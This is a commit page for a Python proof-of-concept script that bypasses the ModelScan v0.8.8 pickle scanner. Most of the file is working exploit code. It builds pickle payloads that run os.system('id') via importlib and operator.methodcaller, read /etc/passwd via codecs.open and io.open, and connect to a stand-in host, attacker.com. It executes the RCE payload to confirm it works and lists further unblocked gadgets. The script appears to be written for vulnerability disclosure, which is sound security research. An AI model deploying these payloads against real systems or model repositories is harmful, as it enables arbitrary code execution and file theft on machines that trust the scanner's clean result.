optimus-fulcria commited on
Commit
373d3c2
·
verified ·
1 Parent(s): 2006598

Upload create_pickle_bypass.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. create_pickle_bypass.py +301 -0
create_pickle_bypass.py ADDED
@@ -0,0 +1,301 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ ModelScan Pickle Scanner Bypass PoC
4
+
5
+ Demonstrates that ModelScan v0.8.8's PickleUnsafeOpScan can be bypassed
6
+ to achieve arbitrary code execution while the scanner reports 0 issues.
7
+
8
+ Root cause: The pickle scanner's unsafe_globals blocklist is incomplete.
9
+ Key gaps:
10
+ 1. 'importlib' module not blocked -> can import any module dynamically
11
+ 2. 'operator.methodcaller' not blocked (only 'operator.attrgetter' is)
12
+ -> can call any method on any object
13
+ 3. 'codecs', 'io', 'http.client' also not blocked
14
+
15
+ Bypass chain (Full RCE):
16
+ importlib.import_module('os') + operator.methodcaller('system', 'id')
17
+
18
+ This affects ALL pickle-based scanners in ModelScan:
19
+ - PickleUnsafeOpScan (.pkl, .pickle, .joblib, .dill, .dat, .data)
20
+ - NumpyUnsafeOpScan (.npy with object dtype)
21
+ - PyTorchUnsafeOpScan (.bin, .pt, .pth, .ckpt - non-zip format)
22
+ All share the same _list_globals() + unsafe_globals detection logic.
23
+ """
24
+
25
+ import io
26
+ import os
27
+ import pickle
28
+ import pickletools
29
+ import sys
30
+
31
+
32
+ def create_rce_pickle():
33
+ """Create a pickle achieving RCE via importlib + operator.methodcaller.
34
+
35
+ Pickle execution flow:
36
+ 1. importlib.import_module('os') -> <module 'os'>
37
+ 2. operator.methodcaller('system', 'id') -> callable mc
38
+ 3. mc(<module 'os'>) -> os.system('id') -> RCE!
39
+
40
+ Neither 'importlib' nor 'operator.methodcaller' is in ModelScan's blocklist.
41
+ ('operator' only blocks 'attrgetter', not 'methodcaller')
42
+ """
43
+ payload = b''
44
+ payload += b'\x80\x02' # PROTO 2
45
+
46
+ # Phase 1: os_module = importlib.import_module('os')
47
+ payload += b'cimportlib\nimport_module\n' # GLOBAL importlib.import_module
48
+ payload += b'\x8c\x02os' # SHORT_BINUNICODE 'os'
49
+ payload += b'\x85' # TUPLE1
50
+ payload += b'R' # REDUCE -> <module 'os'>
51
+ payload += b'q\x00' # BINPUT 0 (memo[0] = os_module)
52
+
53
+ # Phase 2: mc = operator.methodcaller('system', 'id')
54
+ payload += b'0' # POP (clear os_module from stack)
55
+ payload += b'coperator\nmethodcaller\n' # GLOBAL operator.methodcaller
56
+ payload += b'\x8c\x06system' # SHORT_BINUNICODE 'system'
57
+ payload += b'\x8c\x02id' # SHORT_BINUNICODE 'id'
58
+ payload += b'\x86' # TUPLE2 -> ('system', 'id')
59
+ payload += b'R' # REDUCE -> methodcaller('system', 'id')
60
+
61
+ # Phase 3: mc(os_module) -> os.system('id') -> RCE!
62
+ payload += b'h\x00' # BINGET 0 (push os_module from memo)
63
+ payload += b'\x85' # TUPLE1 -> (os_module,)
64
+ payload += b'R' # REDUCE -> os.system('id') = RCE!
65
+
66
+ payload += b'.' # STOP
67
+ return payload
68
+
69
+
70
+ def create_file_access_pickle():
71
+ """Bypass using codecs.open (not in blocklist; builtins.open IS blocked)."""
72
+ payload = b'\x80\x02'
73
+ payload += b'ccodecs\nopen\n' # GLOBAL codecs.open
74
+ payload += b'\x8c\x0b/etc/passwd' # SHORT_BINUNICODE '/etc/passwd'
75
+ payload += b'\x8c\x01r' # SHORT_BINUNICODE 'r'
76
+ payload += b'\x86' # TUPLE2
77
+ payload += b'R' # REDUCE
78
+ payload += b'.' # STOP
79
+ return payload
80
+
81
+
82
+ def create_io_access_pickle():
83
+ """Bypass using io.open (not in blocklist; builtins.open IS blocked)."""
84
+ payload = b'\x80\x02'
85
+ payload += b'cio\nopen\n' # GLOBAL io.open
86
+ payload += b'\x8c\x0b/etc/passwd' # SHORT_BINUNICODE '/etc/passwd'
87
+ payload += b'\x8c\x01r' # SHORT_BINUNICODE 'r'
88
+ payload += b'\x86' # TUPLE2
89
+ payload += b'R' # REDUCE
90
+ payload += b'.' # STOP
91
+ return payload
92
+
93
+
94
+ def create_network_pickle():
95
+ """Bypass using http.client (not blocked; old 'httplib' name IS blocked)."""
96
+ payload = b'\x80\x02'
97
+ payload += b'chttp.client\nHTTPSConnection\n' # GLOBAL (NOT BLOCKED)
98
+ host = b'attacker.com'
99
+ payload += b'\x8c' + bytes([len(host)]) + host # SHORT_BINUNICODE
100
+ payload += b'\x85' # TUPLE1
101
+ payload += b'R' # REDUCE
102
+ payload += b'.' # STOP
103
+ return payload
104
+
105
+
106
+ def simulate_modelscan_check(payload_bytes):
107
+ """Simulate ModelScan's _list_globals + unsafe_globals check.
108
+
109
+ Reproduces the exact logic from:
110
+ - modelscan/tools/picklescanner.py: _list_globals()
111
+ - modelscan/tools/picklescanner.py: _build_scan_result_from_raw_globals()
112
+ - modelscan/settings.py: DEFAULT_SETTINGS['unsafe_globals']
113
+ """
114
+ # ModelScan's unsafe_globals blocklist (from settings.py)
115
+ unsafe_globals = {
116
+ "CRITICAL": {
117
+ "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
118
+ "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
119
+ "runpy": "*", "os": "*", "nt": "*", "posix": "*", "socket": "*",
120
+ "subprocess": "*", "sys": "*", "operator": ["attrgetter"],
121
+ "pty": "*", "pickle": "*", "_pickle": "*",
122
+ "bdb": "*", "pdb": "*", "shutil": "*", "asyncio": "*",
123
+ },
124
+ "HIGH": {
125
+ "webbrowser": "*", "httplib": "*",
126
+ "requests.api": "*", "aiohttp.client": "*",
127
+ },
128
+ "MEDIUM": {},
129
+ "LOW": {},
130
+ }
131
+
132
+ # Extract globals using pickletools (same as ModelScan's _list_globals)
133
+ stream = io.BytesIO(payload_bytes)
134
+ globals_found = set()
135
+ try:
136
+ ops = list(pickletools.genops(stream))
137
+ except Exception as e:
138
+ return set(), [], str(e)
139
+
140
+ for n, (op, value, pos) in enumerate(ops):
141
+ if op.name in ('GLOBAL', 'INST'):
142
+ parts = value.split(' ', 1)
143
+ if len(parts) == 2:
144
+ globals_found.add(tuple(parts))
145
+ elif op.name == 'STACK_GLOBAL':
146
+ values = []
147
+ for offset in range(1, n):
148
+ prev_op = ops[n - offset]
149
+ if prev_op[0].name in ['MEMOIZE', 'PUT', 'BINPUT', 'LONG_BINPUT']:
150
+ continue
151
+ if prev_op[0].name in ['SHORT_BINUNICODE', 'UNICODE', 'BINUNICODE', 'BINUNICODE8']:
152
+ values.append(prev_op[1])
153
+ else:
154
+ values.append('unknown')
155
+ if len(values) == 2:
156
+ break
157
+ if len(values) == 2:
158
+ globals_found.add((values[1], values[0]))
159
+
160
+ # Check against blocklist (exact ModelScan logic)
161
+ issues = []
162
+ for module, name in globals_found:
163
+ severity = None
164
+ for sev_name in unsafe_globals:
165
+ if module not in unsafe_globals[sev_name]:
166
+ continue
167
+ filt = unsafe_globals[sev_name][module]
168
+ if filt == "*":
169
+ severity = sev_name
170
+ break
171
+ for filter_value in filt:
172
+ if filter_value in name:
173
+ severity = sev_name
174
+ break
175
+ else:
176
+ continue
177
+ break
178
+ if "unknown" in module or "unknown" in name:
179
+ severity = "CRITICAL"
180
+ if severity is not None:
181
+ issues.append((module, name, severity))
182
+
183
+ return globals_found, issues, None
184
+
185
+
186
+ def main():
187
+ os.makedirs('/tmp/modelscan-pickle-bypass', exist_ok=True)
188
+
189
+ print("=" * 70)
190
+ print("ModelScan v0.8.8 Pickle Scanner Bypass PoC")
191
+ print("=" * 70)
192
+ print("\nRoot cause: unsafe_globals blocklist is incomplete.")
193
+ print("Key gaps: importlib (not listed), operator.methodcaller (only")
194
+ print("attrgetter is blocked), codecs, io, http.client, marshal, types")
195
+
196
+ # === Test 1: Full RCE ===
197
+ print("\n\n[1] FULL RCE: importlib.import_module + operator.methodcaller")
198
+ print("-" * 70)
199
+ rce_payload = create_rce_pickle()
200
+ rce_path = '/tmp/modelscan-pickle-bypass/rce_bypass.pkl'
201
+ with open(rce_path, 'wb') as f:
202
+ f.write(rce_payload)
203
+ print(f"Payload size: {len(rce_payload)} bytes")
204
+ print(f"Saved to: {rce_path}")
205
+
206
+ # Disassemble
207
+ print("\nPickle disassembly:")
208
+ pickletools.dis(io.BytesIO(rce_payload), annotate=1)
209
+
210
+ # Simulate ModelScan check
211
+ globals_found, issues, err = simulate_modelscan_check(rce_payload)
212
+ print(f"\nGlobals extracted by scanner: {globals_found}")
213
+ print(f"Issues detected by ModelScan: {len(issues)}")
214
+ if issues:
215
+ for m, n, s in issues:
216
+ print(f" [{s}] {m}.{n}")
217
+ else:
218
+ print(">>> BYPASS SUCCESSFUL: ModelScan reports 0 issues! <<<")
219
+
220
+ # Verify RCE
221
+ print("\nExecution verification (runs 'id' command):")
222
+ try:
223
+ result = pickle.loads(rce_payload)
224
+ print(f"os.system() returned: {result}")
225
+ print(">>> ARBITRARY CODE EXECUTION CONFIRMED <<<")
226
+ except Exception as e:
227
+ print(f"Error: {e}")
228
+
229
+ # === Test 2: File access ===
230
+ print("\n\n[2] FILE ACCESS: codecs.open (not in blocklist)")
231
+ print("-" * 70)
232
+ file_payload = create_file_access_pickle()
233
+ file_path = '/tmp/modelscan-pickle-bypass/file_access_bypass.pkl'
234
+ with open(file_path, 'wb') as f:
235
+ f.write(file_payload)
236
+ print(f"Payload size: {len(file_payload)} bytes")
237
+
238
+ globals_found, issues, _ = simulate_modelscan_check(file_payload)
239
+ print(f"Globals extracted: {globals_found}")
240
+ print(f"Issues detected: {len(issues)}")
241
+ if not issues:
242
+ print(">>> BYPASS: codecs.open not in blocklist (builtins.open IS) <<<")
243
+
244
+ # === Test 3: IO access ===
245
+ print("\n\n[3] FILE I/O: io.open (not in blocklist)")
246
+ print("-" * 70)
247
+ io_payload = create_io_access_pickle()
248
+ io_path = '/tmp/modelscan-pickle-bypass/io_access_bypass.pkl'
249
+ with open(io_path, 'wb') as f:
250
+ f.write(io_payload)
251
+ print(f"Payload size: {len(io_payload)} bytes")
252
+
253
+ globals_found, issues, _ = simulate_modelscan_check(io_payload)
254
+ print(f"Globals extracted: {globals_found}")
255
+ print(f"Issues detected: {len(issues)}")
256
+ if not issues:
257
+ print(">>> BYPASS: io.open not in blocklist (builtins.open IS) <<<")
258
+
259
+ # === Test 4: Network ===
260
+ print("\n\n[4] NETWORK: http.client.HTTPSConnection (httplib blocked, http.client NOT)")
261
+ print("-" * 70)
262
+ net_payload = create_network_pickle()
263
+ net_path = '/tmp/modelscan-pickle-bypass/network_bypass.pkl'
264
+ with open(net_path, 'wb') as f:
265
+ f.write(net_payload)
266
+ print(f"Payload size: {len(net_payload)} bytes")
267
+
268
+ globals_found, issues, _ = simulate_modelscan_check(net_payload)
269
+ print(f"Globals extracted: {globals_found}")
270
+ print(f"Issues detected: {len(issues)}")
271
+ if not issues:
272
+ print(">>> BYPASS: http.client not blocked (old httplib name IS) <<<")
273
+
274
+ # === Summary ===
275
+ print("\n\n" + "=" * 70)
276
+ print("BLOCKLIST GAPS IN ModelScan v0.8.8")
277
+ print("=" * 70)
278
+ gaps = [
279
+ ("importlib", "import_module", "Dynamic module import -> import os, subprocess, etc."),
280
+ ("operator", "methodcaller", "Call any method on any object -> full RCE with importlib"),
281
+ ("codecs", "open", "File I/O (builtins.open blocked, codecs.open not)"),
282
+ ("io", "open", "File I/O (builtins.open blocked, io.open not)"),
283
+ ("http.client", "HTTPSConnection", "Network (httplib blocked, http.client not)"),
284
+ ("marshal", "loads", "Code deserialization -> bytecode execution"),
285
+ ("types", "FunctionType", "Function creation from code objects"),
286
+ ("ctypes", "CDLL", "Load shared libraries -> call C functions"),
287
+ ("multiprocessing", "Process", "Spawn processes"),
288
+ ]
289
+ for module, name, desc in gaps:
290
+ print(f" {module}.{name}: {desc}")
291
+
292
+ print(f"\nTotal PoC files: 4")
293
+ print(f"Location: /tmp/modelscan-pickle-bypass/")
294
+ print(f"\nAffected scanners (all share same detection code):")
295
+ print(f" - PickleUnsafeOpScan (.pkl, .pickle, .joblib, .dill, .dat, .data)")
296
+ print(f" - NumpyUnsafeOpScan (.npy with object dtype)")
297
+ print(f" - PyTorchUnsafeOpScan (.bin, .pt, .pth, .ckpt non-zip)")
298
+
299
+
300
+ if __name__ == '__main__':
301
+ main()